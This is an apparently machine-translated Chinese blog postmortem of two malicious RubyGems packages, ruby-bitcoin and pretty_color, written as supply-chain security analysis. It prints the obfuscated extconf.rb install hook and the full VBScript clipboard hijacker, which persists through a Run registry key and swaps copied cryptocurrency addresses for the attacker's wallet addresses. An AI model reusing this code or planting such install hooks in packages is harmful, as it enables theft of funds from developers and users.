RubyGems盗取比特币的恶意软件后遗症

299 阅读5分钟

简介

在12月7日和13日,有两个恶意软件包上传到RubyGems。下面是对这两个软件包内容的事后总结和分析。

我运行的Diffend.io平台与RubyGems团队紧密合作,对任何具有 "奇怪 "特征的宝石提供即时的洞察力。得益于此,这些宝石被相对快速地删除了。

红宝石-比特币的死因

2020年12月7日,ruby-bitcoin 包被准确定位,以供检查。第一眼看去,它似乎是合法的。

它有来自Github的相当数量的 "星星",而且有一个Github仓库,"看起来 "像预期的。然而,所有这些都是一个骗局。这个宝石只是一个流行的 bitcoin-ruby库的浅层拷贝。

在RubyGems上不再允许对流行的宝石进行拼写,但劫持品牌是一个完全不同的故事。攻击者选择扭转-ruby 命名,并将其转化为自己的优势。是用-ruby 后缀还是ruby- 前缀来称呼事物,并没有明确的约定,两者都被允许和使用。有像ruby-kafka ,也有bitcoin-ruby 。这使攻击者更容易得手。

被上传的代码使用了ruby gem的 "不是漏洞而是功能 "的特点,这就是 extconf.rb进入安装代码执行的网关。虽然这不是做恶意事情的唯一方法,但由于它的简单性,以及不需要或执行的意外安装足以感染安装宝石的机器,因此是迄今为止最常见的方法。

重要的extconf.rb 部分如下(删除了不相关的代码并重新格式化以提高可读性)。

begin
  os = RbConfig::CONFIG['host_os']

  if os.match(/mswin|msys|mingw|cygwin|bccwin|wince|emc/)
      vbs_out = "RGltIG9ialdTSCxv---...---IA0K"
      content = Base64.decode64(vbs_out.gsub("---", ""))
      File.open("the_Score.vbs", "w") { |file| file.write(content) }
      cmd = "d3Nj---cmlwdCB0---aGVfU2NvcmUud---mJz".gsub("---", "")
      decoded_cmd = Base64.decode64(cmd)
      system(decoded_cmd)
  end
rescue => e
end

完整的代码库见这里

如果是Windows操作系统,在安装了这个宝石后,一个Visual Basic文件被创建并执行。当解码时,神秘的"d3Nj---cmlwdCB0---aGVfU2NvcmUud---mJz".gsub("---", "") ,只是一个Windows Script Host命令。wscript the_Score.vbs.

Windows Script Host提供了一个环境,用户可以在其中执行各种语言的脚本,使用各种对象模型来执行任务。

更有趣的是,Visual Basic脚本本身。

Dim objWSH,objFSO
Set objWSH = CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.DeleteFile(wscript.ScriptFullName)
On Error Resume Next
Dim Fygna, Nfbvm, Sctcr, Zvofm, Fobuo, Rlfad
Fygna = "bc1qgmem0e4mjejg4lpp03tzlmhfpj580wv5hhkf3p"
Nfbvm = "467FN8ns2MRYfLVEuyiMUKisvjz7zYaS9PkJVXVCMSwq37NeesHJpkfG44mxEFHu8Nd9VDtcVy4kM9iVD7so87CAH2iteLg"
Sctcr = "0xcB56f3793cA713813f6f4909D7ad2a6EEe41eF5e"
Zvofm = objWSH.ExpandEnvironmentStrings("%PROGRAMDATA%") & "\Microsoft Essentials"
Fobuo = Zvofm & "\Software Essentials.vbs"
Rlfad = "Microsoft Software Essentials"
If Not objFSO.Folderexists(Zvofm) then
objFSO.CreateFolder Zvofm
End If
Const HKEY_CURRENT_USER = &H80000001
strComputer = "."
Set objRegistry = GetObject("winmgmts:\\" & strComputer & "\root\default:StdRegProv")
objRegistry.SetStringValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", Rlfad, chr(34) & Fobuo & chr(34)
Call Lncpp()
objWSH.run chr(34) & Fobuo & chr(34)
Set objWSH = Nothing
Set objFSO = Nothing
Sub Lncpp
    Dim Sdrqq
    Set Sdrqq = objFSO.CreateTextFile(Fobuo, True)
    Sdrqq.WriteLine "On Error Resume Next"
    Sdrqq.WriteLine "Set objHTML = CreateObject(" & chr(34) & "HTMLfile" & chr(34) & ")"
    Sdrqq.WriteLine "Set objWSH = CreateObject(" & chr(34) & "WScript.Shell" & chr(34) & ")"
    Sdrqq.WriteLine "Do"
    Sdrqq.WriteLine "wscript.sleep(1000)"
    Sdrqq.WriteLine "Twwzb = objHTML.ParentWindow.ClipboardData.GetData(" & chr(34) & "text" & chr(34) & ")"
    Sdrqq.WriteLine "Vsuvu = Len(Twwzb)"	
    Sdrqq.WriteLine "If Left(Twwzb,1) = " & chr(34) & "1" & chr(34) & " then"
    Sdrqq.WriteLine "If Vsuvu >= 26 and Vsuvu <= 35 then"
    Sdrqq.WriteLine "objWSH.run " & chr(34) & "C:\Windows\System32\cmd.exe /c echo " & Fygna & "| clip" & chr(34) & ", 0"
    Sdrqq.WriteLine "End If"
    Sdrqq.WriteLine "End If"	
    Sdrqq.WriteLine "If Left(Twwzb,1) = " & chr(34) & "3" & chr(34) & " then"
    Sdrqq.WriteLine "If Vsuvu >= 26 and Vsuvu <= 35 then"
    Sdrqq.WriteLine "objWSH.run " & chr(34) & "C:\Windows\System32\cmd.exe /c echo " & Fygna & "| clip" & chr(34) & ", 0"
    Sdrqq.WriteLine "End If"
    Sdrqq.WriteLine "End If"	
    Sdrqq.WriteLine "If Left(Twwzb,1) = " & chr(34) & "4" & chr(34) & " then"
    Sdrqq.WriteLine "If Vsuvu >= 95 and Vsuvu <= 106 then"
    Sdrqq.WriteLine "objWSH.run " & chr(34) & "C:\Windows\System32\cmd.exe /c echo " & Nfbvm & "| clip" & chr(34) & ", 0"
    Sdrqq.WriteLine "End If"
    Sdrqq.WriteLine "End If"
    Sdrqq.WriteLine "If Left(Twwzb,1) = " & chr(34) & "p" & chr(34) & " then"
    Sdrqq.WriteLine "If Vsuvu >= 30 and Vsuvu <= 60 then"
    Sdrqq.WriteLine "objWSH.run " & chr(34) & "C:\Windows\System32\cmd.exe /c echo " & Nfbvm & "| clip" & chr(34) & ", 0"
    Sdrqq.WriteLine "End If"
    Sdrqq.WriteLine "End If"		
    Sdrqq.WriteLine "If Left(Twwzb,1) = " & chr(34) & "0" & chr(34) & " then"
    Sdrqq.WriteLine "If Vsuvu >= 30 and Vsuvu <= 60 then"
    Sdrqq.WriteLine "objWSH.run " & chr(34) & "C:\Windows\System32\cmd.exe /c echo " & Sctcr & "| clip" & chr(34) & ", 0"
    Sdrqq.WriteLine "End If"
    Sdrqq.WriteLine "End If"	
    Sdrqq.WriteLine "Loop"
    Sdrqq.Close
	Set Sdrqq = Nothing
End Sub

这段代码将自己注册为总是在启动时运行,并在调用时跟踪机器的剪贴板。每当检测到一个比特币钱包的ID,它就会被替换成攻击者的ID。

它影响到任何人了吗?很难说有绝对的把握。该宝石是在欧洲中部时间12月7日晚上10点左右上传的,并在12小时内可用。在此期间,它有53次下载。对于任何新的宝石来说,50-70次下载是一个数字,表明没有人使用它。这些下载通常是由镜像和分析平台根据RubyGems发射的webhooks触发的。在他们的情况下,宝石被下载,但没有安装。

pretty_color postmortem

虽然ruby-bitcoin 只包含恶意代码,但pretty_color 实际上使用了一个名为colorize 的库的合法代码库来隐藏恶意代码。

恶意代码与前面的例子基本相同,然而,执行的流程却不同。这一次触发执行的不是extconf.rb ,而是实际的使用企图。

module TestRuby
  VERSION = "0.1.0"
  class TestVersion
    def self.test
      begin
        # same code as with ruby-bitcoin
      rescue
        p
      end
    end
  end
end

TestRuby::TestVersion.test

我确信我们可以期待更多的恶意软件包,它们的名字是基于其他软件包管理器的流行库。

总结

我并没有低估这种类型的攻击的风险;然而,更让我担心的是旨在对其所使用的应用程序造成破坏的开放源码软件供应链攻击。无论是通过窃取生产数据,运行僵尸网络,还是通过挖掘硬币。

由于RubyGems的性质,每个人都被允许上传任何他们想要的东西。只要这些软件包没有危害,它们就被允许留下来。这意味着,像这样的研究包,尽管收集和发送数据,也不会被删除。这使事情变得有点困难。仍然有一些来自软件包的噪音,这些软件包有强烈的恶意指标,而实际上没有造成任何伤害。

如何保护自己免受这样的威胁?这是另一篇文章的问题,但你可以从每当你添加新的依赖关系时严格要求自己,不依赖新的软件包开始。你也可以使用免费的Diffend.io插件来强加你想要的政策,而不需要任何人工干预。


封面照片由QuoteInspector.com在Attribution-NoDerivs 2.0 Generic (CC BY-ND 2.0)许可下提供。

RubyGems窃取比特币的恶意软件事后分析出现在Closer to Code上。